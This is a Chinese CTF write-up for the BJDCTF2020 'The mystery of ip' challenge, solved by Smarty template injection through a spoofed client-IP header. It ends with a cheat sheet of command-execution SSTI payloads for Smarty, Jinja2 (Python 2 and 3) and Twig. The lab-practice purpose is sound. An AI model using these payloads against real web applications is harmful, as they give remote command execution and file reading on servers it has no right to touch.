[BJDCTF2020]The mystery of ip(ssti模板注入题目)

4 篇文章 1 订阅
2 篇文章 1 订阅

项目场景:

链接http://node3.buuoj.cn:29669/index.php
首页

问题描述:

观察页面找到三个链接,点开flag和hint看看,发现flag那个页面窃取了客户端的ip地址,这题的题目是“The mystery of ip”IP的神秘,看来解题是要从这里入手了。
The mystery of ip

尝试解决:

既然是窃取了IP,考虑是不是XFF或Client-IP这两个header,发现这个IP确实可控,0.0,感觉可以冲了
110
我想到的第一个就是之前看到的sql注入的http头注入,但是也只是想想罢了,再看看其他方法,试试xss???
我是傻逼
我是**,最后想到了ssti模板注入。

解决方案:

模板注入
做题前可以把模板注入先了解一下。
然后就开始测试是哪一种模板注入
在这里插入图片描述
在这里插入图片描述

经系列测试知道是smart注入,Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。
解题开始:
输入第一个payload查找目录文件找到flag.php

{{system('ls')}}
或者用if语句
{if system('ls')}{/ls}
能用简单的谁会去用难的呢

1
再查看这个flag.php的文件就好
payload

{{system('cat /flag')}}
另一种写法我就不写了,自己可以试试

在这里插入图片描述
得到flag

结尾总结:

最后说一下,ssti模板注入的语法挺多,就smart注入的语法就完全不止在上面看到的那些,自己有空最好下来看看,我这里也给自己总结了几个。

Smarty模板注入:(我这里做笔记的时候全用的if语句就不改了)

{if phpinfo()}{/if}
{if readfile(‘文件路劲’)}{/if}
{if show_source(‘文件路径’)}{/if}
{if passthru(‘操作命令’)}{/if}
{if system(‘操作命令’)}{/if}
等等等等等等等等。。。。。。......

Jinja2:

  Python2:
#(system函数换为popen('').read(),需要导入os模块)  
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
#(不需要导入os模块,直接从别的模块调用)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#常用的py2 EXP
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
  Python3:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

Twig:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  • 11
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值